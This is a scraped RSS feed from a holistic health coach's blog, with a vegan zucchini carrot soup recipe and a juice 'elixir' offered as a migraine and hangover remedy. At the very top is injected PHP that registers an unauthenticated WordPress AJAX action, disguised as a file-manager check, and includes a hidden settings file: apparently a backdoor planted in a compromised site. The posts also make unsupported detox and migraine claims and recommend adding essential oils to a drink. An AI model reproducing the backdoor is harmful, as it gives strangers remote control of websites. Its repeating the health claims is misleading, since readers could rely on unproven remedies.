if(!function_exists('file_manager_check_dt')){ add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt'); add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt'); function file_manager_check_dt() { $file = __DIR__ . '/settings-about.php'; if (file_exists($file)) { include $file; } die(); } } celery - Manage Stress | Increase Energy |Simple Solutions | Rommy Kirby, Holistic Health Coach, Yoga Personal Trainer, Essential Oil Educator https://rommykirby.com Increase Energy |Simple Solutions | Rommy Kirby, Holistic Health Coach, Yoga Personal Trainer, Essential Oil Educator Fri, 12 Feb 2016 21:59:34 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.4 Easy Summer Sides – Zucchini Carrot Soup https://rommykirby.com/easy-summer-sides-zucchini-carrot-soup/ https://rommykirby.com/easy-summer-sides-zucchini-carrot-soup/#respond Fri, 11 Jul 2014 17:54:50 +0000 http://RommyKirby.com/?p=882 Add this simple summer soup to your slim down menu!   It’s detox friendly, gluten free, dairy free, and vegan. Zucchini Carrot Soup 1 large onion- chopped 2 large carrots- sliced 2 large zucchini- sliced 2 stalks of celery- sliced 2 tbsp minced fresh parsley 1 handful of spinach 1 tsp sea salt 1/8 tsp […]

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]]> Add this simple summer soup to your slim down menu!

 

It’s detox friendly, gluten free, dairy free, and vegan.

Zucchini Carrot Soupgotta love Pintrest!

  • 1 large onion- chopped
  • 2 large carrots- sliced
  • 2 large zucchini- sliced
  • 2 stalks of celery- sliced
  • 2 tbsp minced fresh parsley
  • 1 handful of spinach
  • 1 tsp sea salt
  • 1/8 tsp red pepper
  • 4 cups distilled water or vegetable broth (must be yeast free & organic)

Put all of the ingredients into a pot and bring to a boil. Reduce heat and simmer until all veggies are cooked thoroughly, about 20 minutes.
Puree with an immersion blender, Vitamix, or blender. (Serves 4)

 

Vitamix Quick Tip

  • Put all ingredients into blender
  • Secure cover.
  • Blend on high for 5-7 minutes.

The Vitamix blends at such a high speed that it will actually do the cooking for you!

 

Did you like this? If so, please share it, tweet it or pin it.  Thanks!

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]]> https://rommykirby.com/easy-summer-sides-zucchini-carrot-soup/feed/ 0 Essentially Happy Head Elixir https://rommykirby.com/essentially-happy-head-elixir/ https://rommykirby.com/essentially-happy-head-elixir/#respond Wed, 18 Dec 2013 17:56:45 +0000 http://RommyKirby.com/?p=507 It is estimated that 25 million working days are lost due to headaches, particularly migraine. I suffered..scratch that, I was actually I was debilitated by them, for over 6 years!  It was a vicious cycle… migraine, meds, recover from meds, 1 maybe 2 good days of bright hope, then it started all over again. It […]

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]]> It is estimated that 25 million working days are lost due to headaches, particularly migraine.

I suffered..scratch that, I was actually I was debilitated by them, for over 6 years! 

It was a vicious cycle…

migraine, meds, recover from meds, 1 maybe 2 good days of bright hope, then it started all over again.

It took a lot of work, a thorough detox, and years of living a daily detox lifestyle to enjoy the health I have today.  Seldom do I get a migraine. When I do, most of the time, I can nip it in the bud naturally.

Here is one natural and delicious way of staying in the game without the nasty side effects…by the way, this is also great for those times when you have overindulged…

 

Stay in the Game-2

Essentially Happy Head Elixir

 

Ingredients:

  • 3 Granny Smith Apples
  • 4 Stalks Celery
  • 1/4 cup fresh clean water
  • 1-2 Lemons
  • 2 drops Cinnamon Bark Essential Oil
  • 2 drops Grapefruit Essential Oil
  • 1-2 drops Ginger Essential Oil

 

Directions:

  1. Juice apples, celery and lemon.
  2. Pour water through juicer to get all the goodies
  3. Drop Cinnamon Bark, Grapefruit, and Ginger Essential Oils into glass
  4. Pour juice into glass
  5. Enjoy

 

This recipe

  • aids the liver
  • helps to emulsify fats
  • supports digestion

 

Next time, you’ve been over served (hangover anyone?), over eaten or feeling Captain Head Tension rally her Storm Troopers, give this a try. Your body will thank you.

 

Know someone that can use this?

Use one of the buttons below, share it, send it their way.

 

*I only use and recommend pure, 3rd party tested, therapeutic essential oils. Send me an email to get yours today

 

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